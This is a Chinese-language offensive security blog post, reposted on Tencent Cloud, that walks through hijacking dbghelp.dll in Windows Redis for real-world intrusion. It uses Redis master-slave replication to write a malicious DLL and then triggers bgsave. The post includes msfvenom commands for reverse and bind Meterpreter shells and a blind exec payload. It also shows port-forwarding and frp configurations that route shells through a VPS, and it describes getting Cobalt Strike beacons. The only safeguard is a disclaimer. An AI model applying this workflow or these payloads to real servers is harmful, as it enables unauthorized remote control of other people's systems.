前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Windows Redis DLL劫持在实战中的利用

Windows Redis DLL劫持在实战中的利用

作者头像
潇湘信安
发布2024-05-18 08:27:20
1320
发布2024-05-18 08:27:20
举报
文章被收录于专栏:潇湘信安潇湘信安

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

  • DLL:Windows的动态链接库,简单来说,就是一部分Windows平台下的通用代码并没有写在程序里,而是当程序需要使用时去DLL里调用。
  • DLL劫持:当程序没有指定DLL的绝对路径时,就会按一定顺序查找DLL,从而攻击者有机会在优先级更高的目录里放置恶意DLL。

标准的DLL查找顺序:

  • 1. 应用程序目录:首先,系统会在启动应用程序的目录中查找指定的DLL文件。
  • 2. 系统目录:接下来,系统会在Windows系统目录中查找DLL。系统目录通常是C:\Windows\System32。
  • 3. 16位系统目录:然后,系统会在16位系统目录中查找,通常是C:\Windows\SysWOW64。这一步主要是为了兼容性,用于在64位系统上运行32位应用程序。
  • 4. Windows目录:接着是Windows的根目录,通常是C:\Windows。
  • 5. 当前工作目录:此后,系统会在当前工作目录中查找DLL。这个目录是当前活动的目录,可能随着应用程序的运行而变化。
  • 6. 系统环境变量指定的路径:最后,系统会按照在环境变量PATH中指定的顺序搜索DLL。

举例: 例如,假设有一个应用程序叫做"example.exe",它依赖于名为"example.dll"的动态链接库。而"example.exe"在加载"example.dll"时没有使用绝对路径,而是仅仅指定了DLL的名称。攻击者可以将恶意的"example.dll"文件放置在与"example.exe"相同的目录下,当"example.exe"启动时,系统会先在当前目录中查找"example.dll"文件,如果找到,就会加载该文件并执行其中的恶意代码。 DLL劫持可以函数转发劫持也可以往完整DLL插入恶意代码,这里用的函数转发劫持,大致流程如下图所示: https://kiwings.github.io/2019/04/04/th-DLL%E5%8A%AB%E6%8C%81/ 2.2 劫持dbghelp.dll redis-server.exe在执行bgsave时,会先在应用‍目录查找dbghelp.dll,找不到再去system32目录下找: 而不管redis的权限是Administrator还是普通用户或者Network Service,它对自己的应用目录一定有写文件的权限,我们可以通过Redis的主从复制在应用目录里写入恶意DLL。 2.3 函数转发劫持 对DLL进行函数转发劫持需要导出原本DLL的函数和地址,以保证程序通过恶意DLL调用这些函数时不影响正常功能,DLL的导出函数一般比较多,用Aheadlib之类的工具可以自动化处理。 我这里用的是DLLHijacker,它会自动处理导出表并生成一个VS2019的项目,但这个python脚本有几个bug: https://github.com/kiwings/DLLHijacker (1) VS项目中文乱码: 修复:几个写文件的地方添加 encoding="utf-8"。 (2) 函数导出表有匿名函数的时候,会导致以下报错 [-]Error occur: 'NoneType' object has no attribute 'decode 修复:在几个for循环里添加函数名是否为空的判断可以解决这个问题。 (3) 生成C/C++代码时,没有使用目标DLL的绝对路径,只是用了DLL的名字填充LoadLibrary(),这是一个很严重的bug,会导致函数转发失败、Redis的功能受到影响从而只能劫持一次: 修复:我改成了根据输入的目标DLL路径自动填充。 如果没有使用原DLL的绝对路径,在Process Monitor可以看到,只会调用应用程序目录里的恶意DLL,并没有调用原本的system32下的dbghelp.dll: 从而redis的功能受到影响,导致redis的bgsave只能触发一次DLL调用,第二次bgsave的进程会被阻塞从而无法调用DLL,并且Redis关闭后将无法启动: 这也是网上部分师傅的文章写”不会影响redis运行 但会无法重启“的原因,因为他们也是用的DLLHijacker,并且没有发现有这个坑,这不仅会影响业务,而且只能劫持一次: 正常的DLL劫持不会影响程序的功能,可以劫持很多次,假如我第一次劫持想上线CS但是没有成功,那对面可能不出网,那我可能会再劫持打一个MSF的反向shell,都没成功我也可以继续尝试MSF盲打命令: 正常的DLL转发劫持如下,调用完应用程序目录里的恶意DLL后会调用原DLL: 0x03 漏洞利用 3.1 工具使用 工具下载地址: https://github.com/P4r4d1se/dll_hijack 如是是Windows 64位的Redis DLL劫持的话,可以直接用里面的VS2022版的dbghelp项目。 其他要用我修改后的DllHijacker.py和目标DLL路径生成VS项目: python3 DLLHijacker.py C:\Windows\System32\dbghelp.dll 下载安装VS2022,只用勾C++桌面开发: https://visualstudio.microsoft.com/zh-hans/downloads 打开生成目录里的sln文件,因为原本是VS2019的项目所以会提醒你升级,选确定,不然得另外安装v142的编译组件才能编译VS2019的项目: 打开后在源文件的dllmain.app,修改里面的shellocde就行,其他不用改: 3.2 出网——Cobalt Strike 如果Redis主机直接出网,或者能通其他已经上线CS的出网主机,那直接上CS是最好的选择,CS生成C语言的payload: 源文件的dllmain.app里把payload替换进去,然后选Release x64,生成——生成解决方案: 然后主从复制将dbghelp.dll写过去并bgsave,我这里用的RabR而不是RedisWriteFile,因为这个可以自动备份并恢复Redis的数据,免得再自己用redis-dump-go: 上线成功: 3.3 不出网——Metasploit 3.3.1 反向shell 这里演示Redis主机不出网,但手里控了内网其他的Linux出网主机,通过端口转发来打反向shell,示意图: msf生成payload,让meterpreter的流量指向Linux出网主机的4444端口: msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 RC4PASSWORD=redis LHOST=192.168.115.128 LPORT=4444 -f c

Linux出网主机将本地4444端口映射到vps的8090端口,这里用的工具是这个:

  • https://github.com/cw1997/NATBypass

./nb -tran 4444 vps_ip:8090 然后用frp把msf攻击机的4444端口映射到vps的8090: serverAddr = "vps_ip" serverPort = vps_port [[proxies]] name = "test-tcp" type = "tcp" localIP = "127.0.0.1" localPort = 4444 remotePort = 8090 msf启动监听,这里的LHOST可以用127.0.0.1或0.0.0.0都行: 编译DLL+主从复制写入触发,msf成功收到shell: 3.3.2 正向shell 也可以通过proxychains隧道让msf打一个正向shell,但我觉得不如用端口转发打反向,我这里是本地演示就不挂proxychains了。 生成payload: msfvenom -p windows/x64/meterpreter/bind_tcp_rc4 LPORT=11111 RC4PASSWORD=redis -f c 然后编译DLL+主从复制写入触发,但这里有个问题,我测试的时候发现,rundll32.exe在win10防火墙上是默认只能出站不能入站的,我没有测试不同版本的Windows Server是否也是这样,如果默认都不能入站的话,那这个利用方式可能缺乏实战价值: 允许访问后,msf正向连接成功: 3.3.3 exec 如果以上方法都不行,那就当成一个盲打的命令执行,结合具体情况想办法利用,就是过程稍微麻烦一点,每次执行命令都需要生成payload+编译DLL+主从复制写文件,不过这个过程也挺快的其实。 msf生成Windows64位的命令执行payload: msfvenom -p windows/x64/exec CMD="ping dnslog" -f c 编译DLL+主从复制触发:

0x04 参考 https://chatgpt.com/ https://github.com/kiwings/DLLHijacker https://cocomelonc.github.io/pentest/2021/10/12/dll-hijacking-2.html https://xz.aliyun.com/t/8153 https://kiwings.github.io/2019/04/04/th-DLL%E5%8A%AB%E6%8C%81/ https://github.com/0671/RabR https://jkme.github.io/2020/09/10/redis-windows-hijack.html https://mp.weixin.qq.com/s/U-UD7h92fEJzCjyGbgF4Og

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-05-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 Redis
腾讯云数据库 Redis(TencentDB for Redis)是腾讯云打造的兼容 Redis 协议的缓存和存储服务。丰富的数据结构能帮助您完成不同类型的业务场景开发。支持主从热备,提供自动容灾切换、数据备份、故障迁移、实例监控、在线扩容、数据回档等全套的数据库服务。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档